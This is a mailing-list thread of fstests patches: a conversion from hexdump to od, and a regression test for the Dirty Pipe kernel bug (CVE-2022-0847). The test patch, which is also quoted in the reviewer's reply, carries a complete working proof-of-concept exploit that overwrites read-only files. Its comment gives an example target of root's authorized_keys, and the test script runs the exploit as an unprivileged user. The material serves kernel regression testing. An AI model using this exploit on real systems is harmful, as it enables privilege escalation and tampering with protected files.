+#488 3b7dce1c3d8a361a989ffae49a66ea7c -
+#489 ca28680633bdf1cd687afab7a8ff5cfb -
+#490 308770e95321161d294fc2c520e8f11a -
+#491 439932008b77142bee2dc66508690a73 -
+#492 5a8242b64810b861eb5b205acc4c4766 -
+#493 b90546ed35cf380362f3836ddd858ace -
+#494 afe33f75cbdb0c91c24ae01624e27238 -
+#495 0e058d4bdb88d563f54fbafb24d4838f -
+#496 b08325e31924cea6641588a71e5524a4 -
+#497 84cf0eef5fe919d18f656afe15e30c6c -
+#498 6e99c02d5b4efb41d922895071be9242 -
+#499 93b2faa0d9a7dcd4483b930e72843d6a -
+#500 0671d1505d65ae5fce0a9e040015853e -
diff --git a/tests/generic/536 b/tests/generic/536
index c3b1d38f..986ea1ee 100755
--- a/tests/generic/536
+++ b/tests/generic/536
@@ -47,9 +47,9 @@ _scratch_shutdown -f
# second file should also be zero filled.
_scratch_cycle_mount
echo file.1 | tee -a $seqres.full
-hexdump $SCRATCH_MNT/file.1 | tee -a $seqres.full | grep ab
+_hexdump $SCRATCH_MNT/file.1 | tee -a $seqres.full | grep ab
echo file.2 | tee -a $seqres.full
-hexdump $SCRATCH_MNT/file.2 | tee -a $seqres.full | grep ab
+_hexdump $SCRATCH_MNT/file.2 | tee -a $seqres.full | grep ab
status=0
exit
diff --git a/tests/generic/567 b/tests/generic/567
index 3f5907c3..40a97d2d 100755
--- a/tests/generic/567
+++ b/tests/generic/567
@@ -39,10 +39,10 @@ $XFS_IO_PROG -t -f \
$testfile | _filter_xfs_io
echo "==== Pre-Remount ==="
-hexdump -C $testfile
+_hexdump $testfile
_scratch_cycle_mount
echo "==== Post-Remount =="
-hexdump -C $testfile
+_hexdump $testfile
status=0
exit
diff --git a/tests/generic/567.out b/tests/generic/567.out
index 8ca73fa9..0e826ed3 100644
--- a/tests/generic/567.out
+++ b/tests/generic/567.out
@@ -2,18 +2,18 @@ QA output created by 567
wrote 12288/12288 bytes at offset 0
XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec)
==== Pre-Remount ===
-00000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 |XXXXXXXXXXXXXXXX|
+000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 >XXXXXXXXXXXXXXXX<
*
-00000800 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 |YYYYYYYYYYYYYYYY|
+000800 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 >YYYYYYYYYYYYYYYY<
*
-00002800 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 |XXXXXXXXXXXXXXXX|
+002800 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 >XXXXXXXXXXXXXXXX<
*
-00003000
+003000
==== Post-Remount ==
-00000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 |XXXXXXXXXXXXXXXX|
+000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 >XXXXXXXXXXXXXXXX<
*
-00000800 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 |YYYYYYYYYYYYYYYY|
+000800 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 >YYYYYYYYYYYYYYYY<
*
-00002800 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 |XXXXXXXXXXXXXXXX|
+002800 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 >XXXXXXXXXXXXXXXX<
*
-00003000
+003000
diff --git a/tests/generic/612 b/tests/generic/612
index dd17944d..9c023a65 100755
--- a/tests/generic/612
+++ b/tests/generic/612
@@ -47,7 +47,7 @@ echo "Reflink copy from b to a"
cp --reflink=always $DIR/b $DIR/a
echo "Contents of b"
-hexdump -C $DIR/b
+_hexdump $DIR/b
# Cycle mount to get stuff out of cache
_test_cycle_mount
@@ -62,7 +62,7 @@ $XFS_IO_PROG -c "pwrite -S 0xa 0k -b 4k 4k" \
$XFS_IO_PROG -c fsync $DIR/a
echo "Contents of b now:"
-hexdump -C $DIR/b
+_hexdump $DIR/b
# success, all done
status=0
diff --git a/tests/generic/612.out b/tests/generic/612.out
index 237a9638..6f36cca9 100644
--- a/tests/generic/612.out
+++ b/tests/generic/612.out
@@ -4,15 +4,15 @@ wrote 2097152/2097152 bytes at offset 0
XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec)
Reflink copy from b to a
Contents of b
-00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
+000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >................<
*
-00200000
+200000
Write to a
wrote 4096/4096 bytes at offset 0
XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec)
wrote 1048576/1048576 bytes at offset 4096
XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec)
Contents of b now:
-00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
+000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >................<
*
-00200000
+200000
diff --git a/tests/generic/639 b/tests/generic/639
index c30f7644..abb91c80 100755
--- a/tests/generic/639
+++ b/tests/generic/639
@@ -33,7 +33,7 @@ $XFS_IO_PROG -c "pwrite -q 32 32" $testfile
# dump what we think is in there
echo "The result should be 64 bytes filled with 0xcd:"
-hexdump -C $testfile
+_hexdump $testfile
status=0
exit
diff --git a/tests/generic/639.out b/tests/generic/639.out
index 9bf0bac9..ee5ad91a 100644
--- a/tests/generic/639.out
+++ b/tests/generic/639.out
@@ -1,5 +1,5 @@
QA output created by 639
The result should be 64 bytes filled with 0xcd:
-00000000 cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd |................|
+000000 cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd >................<
*
-00000040
+000040
--
2.31.1
^ permalink raw reply related [flat|nested] 4+ messages in thread
* [PATCH v3 2/2] fstests: test dirty pipe vulnerability issue of CVE-2022-0847
2022-04-11 16:37 [PATCH v3 0/2] xfstests: hexdump and CVE-2022-0847 Zorro Lang
2022-04-11 16:37 ` [PATCH v3 1/2] xfstests: replace hexdump with od command Zorro Lang
@ 2022-04-11 16:37 ` Zorro Lang
2022-04-11 20:34 ` Darrick J. Wong
1 sibling, 1 reply; 4+ messages in thread
From: Zorro Lang @ 2022-04-11 16:37 UTC (permalink / raw)
To: fstests; +Cc: guan
Test for the Dirty Pipe vulnerability (CVE-2022-0847) caused by an
uninitialized "pipe_buffer.flags" variable. The bug cause a file
can be overwritten even if a user/process is not permitted to write
it. It's fixed by 9d2231c5d74e ("lib/iov_iter: initialize "flags" in
new pipe_buffer").
Cc: Max Kellermann <max.kellermann@ionos.com>
Signed-off-by: Zorro Lang <zlang@redhat.com>
---
.gitignore | 1 +
src/Makefile | 2 +-
src/splice2pipe.c | 158 ++++++++++++++++++++++++++++++++++++++++++
tests/generic/999 | 48 +++++++++++++
tests/generic/999.out | 9 +++
5 files changed, 217 insertions(+), 1 deletion(-)
create mode 100644 src/splice2pipe.c
create mode 100755 tests/generic/999
create mode 100644 tests/generic/999.out
diff --git a/.gitignore b/.gitignore
index 11405bd2..5f24909e 100644
--- a/.gitignore
+++ b/.gitignore
@@ -125,6 +125,7 @@ tags
/src/runas
/src/seek_copy_test
/src/seek_sanity_test
+/src/splice2pipe
/src/splice-test
/src/stale_handle
/src/stat_test
diff --git a/src/Makefile b/src/Makefile
index 88877ac9..24aef09b 100644
--- a/src/Makefile
+++ b/src/Makefile
@@ -31,7 +31,7 @@ LINUX_TARGETS = xfsctl bstat t_mtab getdevicesize preallo_rw_pattern_reader \
dio-invalidate-cache stat_test t_encrypted_d_revalidate \
attr_replace_test swapon mkswap t_attr_corruption t_open_tmpfiles \
fscrypt-crypt-util bulkstat_null_ocount splice-test chprojid_fail \
- detached_mounts_propagation ext4_resize t_readdir_3
+ detached_mounts_propagation ext4_resize t_readdir_3 splice2pipe
EXTRA_EXECS = dmerror fill2attr fill2fs fill2fs_check scaleread.sh \
btrfs_crc32c_forged_name.py
diff --git a/src/splice2pipe.c b/src/splice2pipe.c
new file mode 100644
index 00000000..bd33ff67
--- /dev/null
+++ b/src/splice2pipe.c
@@ -0,0 +1,158 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+/*
+ * Copyright 2022 CM4all GmbH / IONOS SE
+ *
+ * author: Max Kellermann <max.kellermann@ionos.com>
+ *
+ * Proof-of-concept exploit for the Dirty Pipe
+ * vulnerability (CVE-2022-0847) caused by an uninitialized
+ * "pipe_buffer.flags" variable. It demonstrates how to overwrite any
+ * file contents in the page cache, even if the file is not permitted
+ * to be written, immutable or on a read-only mount.
+ *
+ * This exploit requires Linux 5.8 or later; the code path was made
+ * reachable by commit f6dd975583bd ("pipe: merge
+ * anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
+ * there before, it just provided an easy way to exploit it.
+ *
+ * There are two major limitations of this exploit: the offset cannot
+ * be on a page boundary (it needs to write one byte before the offset
+ * to add a reference to this page to the pipe), and the write cannot
+ * cross a page boundary.
+ *
+ * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
+ *
+ * Further explanation: https://dirtypipe.cm4all.com/
+ */
+#ifndef _GNU_SOURCE
+#define _GNU_SOURCE
+#endif
+#include <unistd.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/user.h>
+
+/**
+ * Create a pipe where all "bufs" on the pipe_inode_info ring have the
+ * PIPE_BUF_FLAG_CAN_MERGE flag set.
+ */
+static void prepare_pipe(int p[2])
+{
+ if (pipe(p)) {
+ perror("pipe failed");
+ abort();
+ }
+
+ const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
+ static char buffer[4096];
+
+ /* fill the pipe completely; each pipe_buffer will now have
+ the PIPE_BUF_FLAG_CAN_MERGE flag */
+ for (unsigned r = pipe_size; r > 0;) {
+ unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
+ write(p[1], buffer, n);
+ r -= n;
+ }
+
+ /* drain the pipe, freeing all pipe_buffer instances (but
+ leaving the flags initialized) */
+ for (unsigned r = pipe_size; r > 0;) {
+ unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
+ read(p[0], buffer, n);
+ r -= n;
+ }
+
+ /* the pipe is now empty, and if somebody adds a new
+ pipe_buffer without initializing its "flags", the buffer
+ will be mergeable */
+}
+
+int main(int argc, char **argv)
+{
+ if (argc != 4) {
+ fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
+ return EXIT_FAILURE;
+ }
+
+ /* dumb command-line argument parser */
+ const char *const path = argv[1];
+ loff_t offset = strtoul(argv[2], NULL, 0);
+ const char *const data = argv[3];
+ const size_t data_size = strlen(data);
+ int page_size = sysconf(_SC_PAGESIZE);
+ if (page_size == -1)
+ page_size = 4096;
+
+ if (offset % page_size == 0) {
+ fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
+ return EXIT_FAILURE;
+ }
+
+ const loff_t next_page = (offset | (page_size - 1)) + 1;
+ const loff_t end_offset = offset + (loff_t)data_size;
+ if (end_offset > next_page) {
+ fprintf(stderr, "Sorry, cannot write across a page boundary\n");
+ return EXIT_FAILURE;
+ }
+
+ /* open the input file and validate the specified offset */
+ const int fd = open(path, O_RDONLY); // yes, read-only! :-)
+ if (fd < 0) {
+ perror("open failed");
+ return EXIT_FAILURE;
+ }
+
+ struct stat st;
+ if (fstat(fd, &st)) {
+ perror("stat failed");
+ return EXIT_FAILURE;
+ }
+
+ if (offset > st.st_size) {
+ fprintf(stderr, "Offset is not inside the file\n");
+ return EXIT_FAILURE;
+ }
+
+ if (end_offset > st.st_size) {
+ fprintf(stderr, "Sorry, cannot enlarge the file\n");
+ return EXIT_FAILURE;
+ }
+
+ /* create the pipe with all flags initialized with
+ PIPE_BUF_FLAG_CAN_MERGE */
+ int p[2];
+ prepare_pipe(p);
+
+ /* splice one byte from before the specified offset into the
+ pipe; this will add a reference to the page cache, but
+ since copy_page_to_iter_pipe() does not initialize the
+ "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
+ --offset;
+ ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
+ if (nbytes < 0) {
+ perror("splice failed");
+ return EXIT_FAILURE;
+ }
+ if (nbytes == 0) {
+ fprintf(stderr, "short splice\n");
+ return EXIT_FAILURE;
+ }
+
+ /* the following write will not create a new pipe_buffer, but
+ will instead write into the page cache, because of the
+ PIPE_BUF_FLAG_CAN_MERGE flag */
+ nbytes = write(p[1], data, data_size);
+ if (nbytes < 0) {
+ perror("write failed");
+ return EXIT_FAILURE;
+ }
+ if ((size_t)nbytes < data_size) {
+ fprintf(stderr, "short write\n");
+ return EXIT_FAILURE;
+ }
+
+ return EXIT_SUCCESS;
+}
diff --git a/tests/generic/999 b/tests/generic/999
new file mode 100755
index 00000000..111dde06
--- /dev/null
+++ b/tests/generic/999
@@ -0,0 +1,48 @@
+#! /bin/bash
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2022 Red Hat, Inc. All Rights Reserved.
+#
+# FS QA Test No. 999
+#
+# Test for the Dirty Pipe vulnerability (CVE-2022-0847) caused by an
+# uninitialized "pipe_buffer.flags" variable, which fixed by:
+# 9d2231c5d74e ("lib/iov_iter: initialize "flags" in new pipe_buffer")
+#
+. ./common/preamble
+_begin_fstest auto quick
+
+# real QA test starts here
+_supported_fs generic
+_require_test
+_require_user
+_require_chmod
+_require_test_program "splice2pipe"
+
+localfile=$TEST_DIR/testfile.$seq
+rm -f $localfile
+
+# Create a file with 4k 0xff data, then make sure unprivileged user has readonly
+# permission on it
+$XFS_IO_PROG -f -t -c "pwrite 0 4k -S 0xff" $localfile >> $seqres.full 2>&1
+chmod 0644 $localfile
+# Test privileged user (xfstests generally run with root)
+echo "Test privileged user:"
+$here/src/splice2pipe $localfile 1 "AAAAAAAABBBBBBBB"
+# Part of 0xff will be overwritten if there's CVE-2022-0847 bug
+_hexdump $localfile
+
+# Create a file with 4k 0xff data, then make sure unprivileged user has readonly
+# permission on it
+$XFS_IO_PROG -f -t -c "pwrite 0 4k -S 0xff" $localfile >> $seqres.full 2>&1
+chmod 0644 $localfile
+# Copy splice2pipe to a place which can be run by an unprivileged user (avoid
+# something likes /root/xfstests/src/splice2pipe)
+cp $here/src/splice2pipe $tmp.splice2pipe
+# Test unprivileged user's privilege escalation
+echo "Test unprivileged user:"
+su ${qa_user} -c "$tmp.splice2pipe $localfile 1 AAAAAAAABBBBBBBB"
+_hexdump $localfile
+
+# success, all done
+status=0
+exit
diff --git a/tests/generic/999.out b/tests/generic/999.out
new file mode 100644
index 00000000..a142909b
--- /dev/null
+++ b/tests/generic/999.out
@@ -0,0 +1,9 @@
+QA output created by 999
+Test privileged user:
+000000 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff >................<
+*
+001000
+Test unprivileged user:
+000000 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff >................<
+*
+001000
--
2.31.1
^ permalink raw reply related [flat|nested] 4+ messages in thread
* Re: [PATCH v3 2/2] fstests: test dirty pipe vulnerability issue of CVE-2022-0847
2022-04-11 16:37 ` [PATCH v3 2/2] fstests: test dirty pipe vulnerability issue of CVE-2022-0847 Zorro Lang
@ 2022-04-11 20:34 ` Darrick J. Wong
0 siblings, 0 replies; 4+ messages in thread
From: Darrick J. Wong @ 2022-04-11 20:34 UTC (permalink / raw)
To: Zorro Lang; +Cc: fstests, guan
On Tue, Apr 12, 2022 at 12:37:10AM +0800, Zorro Lang wrote:
> Test for the Dirty Pipe vulnerability (CVE-2022-0847) caused by an
> uninitialized "pipe_buffer.flags" variable. The bug cause a file
> can be overwritten even if a user/process is not permitted to write
> it. It's fixed by 9d2231c5d74e ("lib/iov_iter: initialize "flags" in
> new pipe_buffer").
>
> Cc: Max Kellermann <max.kellermann@ionos.com>
> Signed-off-by: Zorro Lang <zlang@redhat.com>
Still looks ok...
Reviewed-by: Darrick J. Wong <djwong@kernel.org>
--D
> ---
> .gitignore | 1 +
> src/Makefile | 2 +-
> src/splice2pipe.c | 158 ++++++++++++++++++++++++++++++++++++++++++
> tests/generic/999 | 48 +++++++++++++
> tests/generic/999.out | 9 +++
> 5 files changed, 217 insertions(+), 1 deletion(-)
> create mode 100644 src/splice2pipe.c
> create mode 100755 tests/generic/999
> create mode 100644 tests/generic/999.out
>
> diff --git a/.gitignore b/.gitignore
> index 11405bd2..5f24909e 100644
> --- a/.gitignore
> +++ b/.gitignore
> @@ -125,6 +125,7 @@ tags
> /src/runas
> /src/seek_copy_test
> /src/seek_sanity_test
> +/src/splice2pipe
> /src/splice-test
> /src/stale_handle
> /src/stat_test
> diff --git a/src/Makefile b/src/Makefile
> index 88877ac9..24aef09b 100644
> --- a/src/Makefile
> +++ b/src/Makefile
> @@ -31,7 +31,7 @@ LINUX_TARGETS = xfsctl bstat t_mtab getdevicesize preallo_rw_pattern_reader \
> dio-invalidate-cache stat_test t_encrypted_d_revalidate \
> attr_replace_test swapon mkswap t_attr_corruption t_open_tmpfiles \
> fscrypt-crypt-util bulkstat_null_ocount splice-test chprojid_fail \
> - detached_mounts_propagation ext4_resize t_readdir_3
> + detached_mounts_propagation ext4_resize t_readdir_3 splice2pipe
>
> EXTRA_EXECS = dmerror fill2attr fill2fs fill2fs_check scaleread.sh \
> btrfs_crc32c_forged_name.py
> diff --git a/src/splice2pipe.c b/src/splice2pipe.c
> new file mode 100644
> index 00000000..bd33ff67
> --- /dev/null
> +++ b/src/splice2pipe.c
> @@ -0,0 +1,158 @@
> +/* SPDX-License-Identifier: GPL-2.0 */
> +/*
> + * Copyright 2022 CM4all GmbH / IONOS SE
> + *
> + * author: Max Kellermann <max.kellermann@ionos.com>
> + *
> + * Proof-of-concept exploit for the Dirty Pipe
> + * vulnerability (CVE-2022-0847) caused by an uninitialized
> + * "pipe_buffer.flags" variable. It demonstrates how to overwrite any
> + * file contents in the page cache, even if the file is not permitted
> + * to be written, immutable or on a read-only mount.
> + *
> + * This exploit requires Linux 5.8 or later; the code path was made
> + * reachable by commit f6dd975583bd ("pipe: merge
> + * anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
> + * there before, it just provided an easy way to exploit it.
> + *
> + * There are two major limitations of this exploit: the offset cannot
> + * be on a page boundary (it needs to write one byte before the offset
> + * to add a reference to this page to the pipe), and the write cannot
> + * cross a page boundary.
> + *
> + * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
> + *
> + * Further explanation: https://dirtypipe.cm4all.com/
> + */
> +#ifndef _GNU_SOURCE
> +#define _GNU_SOURCE
> +#endif
> +#include <unistd.h>
> +#include <fcntl.h>
> +#include <stdio.h>
> +#include <stdlib.h>
> +#include <string.h>
> +#include <sys/stat.h>
> +#include <sys/user.h>
> +
> +/**
> + * Create a pipe where all "bufs" on the pipe_inode_info ring have the
> + * PIPE_BUF_FLAG_CAN_MERGE flag set.
> + */
> +static void prepare_pipe(int p[2])
> +{
> + if (pipe(p)) {
> + perror("pipe failed");
> + abort();
> + }
> +
> + const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
> + static char buffer[4096];
> +
> + /* fill the pipe completely; each pipe_buffer will now have
> + the PIPE_BUF_FLAG_CAN_MERGE flag */
> + for (unsigned r = pipe_size; r > 0;) {
> + unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
> + write(p[1], buffer, n);
> + r -= n;
> + }
> +
> + /* drain the pipe, freeing all pipe_buffer instances (but
> + leaving the flags initialized) */
> + for (unsigned r = pipe_size; r > 0;) {
> + unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
> + read(p[0], buffer, n);
> + r -= n;
> + }
> +
> + /* the pipe is now empty, and if somebody adds a new
> + pipe_buffer without initializing its "flags", the buffer
> + will be mergeable */
> +}
> +
> +int main(int argc, char **argv)
> +{
> + if (argc != 4) {
> + fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
> + return EXIT_FAILURE;
> + }
> +
> + /* dumb command-line argument parser */
> + const char *const path = argv[1];
> + loff_t offset = strtoul(argv[2], NULL, 0);
> + const char *const data = argv[3];
> + const size_t data_size = strlen(data);
> + int page_size = sysconf(_SC_PAGESIZE);
> + if (page_size == -1)
> + page_size = 4096;
> +
> + if (offset % page_size == 0) {
> + fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
> + return EXIT_FAILURE;
> + }
> +
> + const loff_t next_page = (offset | (page_size - 1)) + 1;
> + const loff_t end_offset = offset + (loff_t)data_size;
> + if (end_offset > next_page) {
> + fprintf(stderr, "Sorry, cannot write across a page boundary\n");
> + return EXIT_FAILURE;
> + }
> +
> + /* open the input file and validate the specified offset */
> + const int fd = open(path, O_RDONLY); // yes, read-only! :-)
> + if (fd < 0) {
> + perror("open failed");
> + return EXIT_FAILURE;
> + }
> +
> + struct stat st;
> + if (fstat(fd, &st)) {
> + perror("stat failed");
> + return EXIT_FAILURE;
> + }
> +
> + if (offset > st.st_size) {
> + fprintf(stderr, "Offset is not inside the file\n");
> + return EXIT_FAILURE;
> + }
> +
> + if (end_offset > st.st_size) {
> + fprintf(stderr, "Sorry, cannot enlarge the file\n");
> + return EXIT_FAILURE;
> + }
> +
> + /* create the pipe with all flags initialized with
> + PIPE_BUF_FLAG_CAN_MERGE */
> + int p[2];
> + prepare_pipe(p);
> +
> + /* splice one byte from before the specified offset into the
> + pipe; this will add a reference to the page cache, but
> + since copy_page_to_iter_pipe() does not initialize the
> + "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
> + --offset;
> + ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
> + if (nbytes < 0) {
> + perror("splice failed");
> + return EXIT_FAILURE;
> + }
> + if (nbytes == 0) {
> + fprintf(stderr, "short splice\n");
> + return EXIT_FAILURE;
> + }
> +
> + /* the following write will not create a new pipe_buffer, but
> + will instead write into the page cache, because of the
> + PIPE_BUF_FLAG_CAN_MERGE flag */
> + nbytes = write(p[1], data, data_size);
> + if (nbytes < 0) {
> + perror("write failed");
> + return EXIT_FAILURE;
> + }
> + if ((size_t)nbytes < data_size) {
> + fprintf(stderr, "short write\n");
> + return EXIT_FAILURE;
> + }
> +
> + return EXIT_SUCCESS;
> +}
> diff --git a/tests/generic/999 b/tests/generic/999
> new file mode 100755
> index 00000000..111dde06
> --- /dev/null
> +++ b/tests/generic/999
> @@ -0,0 +1,48 @@
> +#! /bin/bash
> +# SPDX-License-Identifier: GPL-2.0
> +# Copyright (c) 2022 Red Hat, Inc. All Rights Reserved.
> +#
> +# FS QA Test No. 999
> +#
> +# Test for the Dirty Pipe vulnerability (CVE-2022-0847) caused by an
> +# uninitialized "pipe_buffer.flags" variable, which fixed by:
> +# 9d2231c5d74e ("lib/iov_iter: initialize "flags" in new pipe_buffer")
> +#
> +. ./common/preamble
> +_begin_fstest auto quick
> +
> +# real QA test starts here
> +_supported_fs generic
> +_require_test
> +_require_user
> +_require_chmod
> +_require_test_program "splice2pipe"
> +
> +localfile=$TEST_DIR/testfile.$seq
> +rm -f $localfile
> +
> +# Create a file with 4k 0xff data, then make sure unprivileged user has readonly
> +# permission on it
> +$XFS_IO_PROG -f -t -c "pwrite 0 4k -S 0xff" $localfile >> $seqres.full 2>&1
> +chmod 0644 $localfile
> +# Test privileged user (xfstests generally run with root)
> +echo "Test privileged user:"
> +$here/src/splice2pipe $localfile 1 "AAAAAAAABBBBBBBB"
> +# Part of 0xff will be overwritten if there's CVE-2022-0847 bug
> +_hexdump $localfile
> +
> +# Create a file with 4k 0xff data, then make sure unprivileged user has readonly
> +# permission on it
> +$XFS_IO_PROG -f -t -c "pwrite 0 4k -S 0xff" $localfile >> $seqres.full 2>&1
> +chmod 0644 $localfile
> +# Copy splice2pipe to a place which can be run by an unprivileged user (avoid
> +# something likes /root/xfstests/src/splice2pipe)
> +cp $here/src/splice2pipe $tmp.splice2pipe
> +# Test unprivileged user's privilege escalation
> +echo "Test unprivileged user:"
> +su ${qa_user} -c "$tmp.splice2pipe $localfile 1 AAAAAAAABBBBBBBB"
> +_hexdump $localfile
> +
> +# success, all done
> +status=0
> +exit
> diff --git a/tests/generic/999.out b/tests/generic/999.out
> new file mode 100644
> index 00000000..a142909b
> --- /dev/null
> +++ b/tests/generic/999.out
> @@ -0,0 +1,9 @@
> +QA output created by 999
> +Test privileged user:
> +000000 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff >................<
> +*
> +001000
> +Test unprivileged user:
> +000000 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff >................<
> +*
> +001000
> --
> 2.31.1
>
^ permalink raw reply [flat|nested] 4+ messages in thread
end of thread, other threads:[~2022-04-11 20:34 UTC | newest]
Thread overview: 4+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2022-04-11 16:37 [PATCH v3 0/2] xfstests: hexdump and CVE-2022-0847 Zorro Lang
2022-04-11 16:37 ` [PATCH v3 1/2] xfstests: replace hexdump with od command Zorro Lang
2022-04-11 16:37 ` [PATCH v3 2/2] fstests: test dirty pipe vulnerability issue of CVE-2022-0847 Zorro Lang
2022-04-11 20:34 ` Darrick J. Wong
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